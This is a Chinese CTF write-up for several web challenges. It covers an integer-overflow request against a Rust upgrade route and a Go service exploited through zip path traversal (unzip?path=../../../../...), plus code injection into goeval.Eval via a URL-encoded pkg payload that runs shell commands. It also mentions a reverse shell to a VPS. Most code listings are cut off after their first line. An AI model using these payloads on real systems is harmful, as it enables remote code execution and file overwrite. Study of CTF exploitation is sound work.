比赛的时候在回学校的路上,所以没有打,听说质量挺高,赛后做一下
一个普通的js游戏,玩过关了就给flag,所以flag肯定在前端源码里
这里就是弹flag的js,只不过被混淆了,直接复制到控制台执行就行
一个整数溢出
源码
1 | use actix_files::Files; |
i32的范围是-2147483648到2147483647,所以只要在Cost那将减的数量变成大于2147483648,就可以造成溢出,从而得到flag
在/upgrade
路由
1 | name=Cost&quantity=214748365 |
这题在机场等同学的时候做了一下,但是那个解压功能一直报错,我还以为是我的问题,结构第二天做一下发现是可以的
1 | package main |
总体来说不是太难理解
/
路由,生成一个userDir
并保存在Session
里,后面的部分都会从Session取这个的值进行操作
并且还会创建一个user.gob
文件,将User信息保存在里面
/upload
路由,将文件上传到userDir+”uploads/“目录,并且会检测文件后缀
/unzip
路由,会对userDir+”uploads/“目录里的zip文件进行解压,且目的路径可控,接受GET传参的path的值
1 | destPath := filepath.Clean(userUploadDir + c.Query("path")) |
然后来看看这个filepath.Clean
是什么东西
Clean通过纯词法处理返回与path相当的最短路径名称。它反复应用以下规则,直到不能再做进一步处理。
用一个元素替换多个Separator元素。
消除每个.路径名元素(当前目录)。
消除每个内部的..路径名称元素(父目录)和它前面的非..元素。
消除了将..放在根路径后面的情况(’/..’):也就是说,假设Separator是’/‘,在一个路径的开头用”/“替换”/..”。
返回的路径只有在代表根目录时才以斜线结尾,例如Unix系统中的”/“或Windows系统中的
C:
最后,任何出现的斜线都被Separator替换。
如果这个过程的结果是一个空字符串,Clean返回字符串”.”。
所以我们可以构造路径,将文件解压到任何我们可以解压的地方
/backdoor
路由,会从userDir目录读取user.gob
文件的内容,并检测Power
键的值是否为”admin”,如果为True,就执行
1 | eval, err := goeval.Eval("", "fmt.Println(\"Good\")", c.DefaultQuery("pkg", "fmt")) |
并返回执行结果
所以可以在本地构造一个user.gob,将Power
的值改为”admin”并将其压缩,然后上传并解压到userDir目标覆盖原来的user.gob,这样就可以成功执行到goeval.Eval()
了
而在goeval.Eval("", "fmt.Println(\"Good\")", c.DefaultQuery("pkg", "fmt"))
里可以发现并没有可以直接执行任意代码的地方,可控的只有第三个参数
goeval.Eval()
的第三参数可以进行包的导入,因为通过报错可以执行题目环境GO的src目录,所以我最开始想的是在fmt包里导入一个函数Println
,这样在执行goeval.Eval()
的时候就可以执行我们自己构造的代码。
但是我想少了,如果直接将pkg传参为fmt的话,因为在Println()被fmt包里的其他文件被定义过,所以我这再定义一个就会报错
然后我就随手搜了一下goeval.Eval,就发现了可以对goeval.Eval进行代码注入,从而远程执行代码
根据这篇文件去看看goeval.Eval的源码
1 | func Eval(defineCode string, code string, imports ...string) (re []byte, err error) { |
可以看出来,Eval是将代码写入一个临时文件然后运行再返回运行的结果,而且是以拼接的方式来写入代码
所以可以进行代码注入,用\t
替代空格,同时由于他执行的是main内的代码,而且这个是写死的,所以得将要执行的代码写入init()里,这个函数会在main()前执行,然后使用var来闭合最后面的")
init函数特性
1.init函数可以在所有程序执行开始前被调用,并且每个包下可以有多个init函数
2.init函数先于main函数自动执行
3.每个包中可以有多个init函数,每个包中的源文件中也可以有多个init函数
4.init函数没有输入参数、返回值,也未声明,所以无法引用
5.不同包的init函数按照包导入的依赖关系决定执行顺序
6.无论包被导入多少次,init函数只会被调用一次,也就是只执行一次
7.init函数在代码中不能被显示的调用,不能被引用(赋值给函数变量),否则会出现编译错误
8.导入包不要出现循环依赖,这样会导致程序编译失败
9.Go程序仅仅想要用一个package的init执行,我们可以这样使用:import _ “test_xxxx”,导入包的时候加上下划线就ok了
10.包级别的变量初始化、init函数执行,这两个操作都是在同一个goroutine中调用的,按顺序调用,一次一个包
11.init函数不应该依赖任何在main函数里创建的变量,因为init函数的执行是在main函数之前的
12.在init函数中也可以启动goroutine,也就是在初始化的同时启动新的goroutine,这并不会影响初始化顺序
13.复杂逻辑不建议使用init函数,会增加代码的复杂性,可读性也会下降
14.一个源文件下可以有多个init函数,代码比较长时可以考虑分多个init函数
15.编程时不要依赖init的顺序
1 | pkg := "os/exec\"\n\"fmt\"\n)\n\nfunc\tinit(){\ncmd:=exec.Command(\"ls\")\nout,_:=cmd.CombinedOutput()\nfmt.Println(string(out))\n}\nvar(\na=\"1" |
就会执行
1 | package main |
先在本地创建一个user.gob文件,就跟源码里的方式一样建一个再压缩
然后上传文件,再解压缩文件
解压缩的url为
1 | /unzip?path=../../../../tmp/49c69cef49dc4b3be71e988a20149ca7 |
然后访问/backdoor
路由,进行代码注入,远程执行命令
payload
1 | /backdoor?pkg=os%2Fexec%22%0A%22fmt%22%0A%29%0A%0Afunc%09init%28%29%7B%0Acmd%3A%3Dexec.Command%28%22cat%22%2C%22%2Fffflllaaaggg%22%29%0Aout%2C_%3A%3Dcmd.CombinedOutput%28%29%0Afmt.Println%28string%28out%29%29%0A%7D%0Avar%28%0Aa%3D%221 |
这是我在写wp的时候发现的另一个方法
看一下Eval对第三个参数的区别处理
1 | for _, item := range imports { |
eg:
1 | goeval.Eval("", "fmt.Println(\"Good\")", "fmt os/exec") |
就会变成
1 | package main |
相当于给导入的包设置一个别名,所以可以将我们自己的包设置别名为fmt,从而执行任意代码
自己建立的包
PrintLn.go
1 | package v2i |
将文件压缩,然后上传,解压到/usr/local/go/src/v2i
路径在报错里看到
1 | /unzip?path=../../../../usr/local/go/src/v2i |
然后在/backdoor
路由
1 | /backdoor?pkg=fmt v2i |
这样就执行了我们的代码,但是有点麻烦,得不断上传解压缩
但也可以试试反弹shell,如果要反弹shell的话,自己建的包就得是【从网上抄的代码XD】
1 | package v2i |
然后用相同的方式执行,就可以在vps上获得shell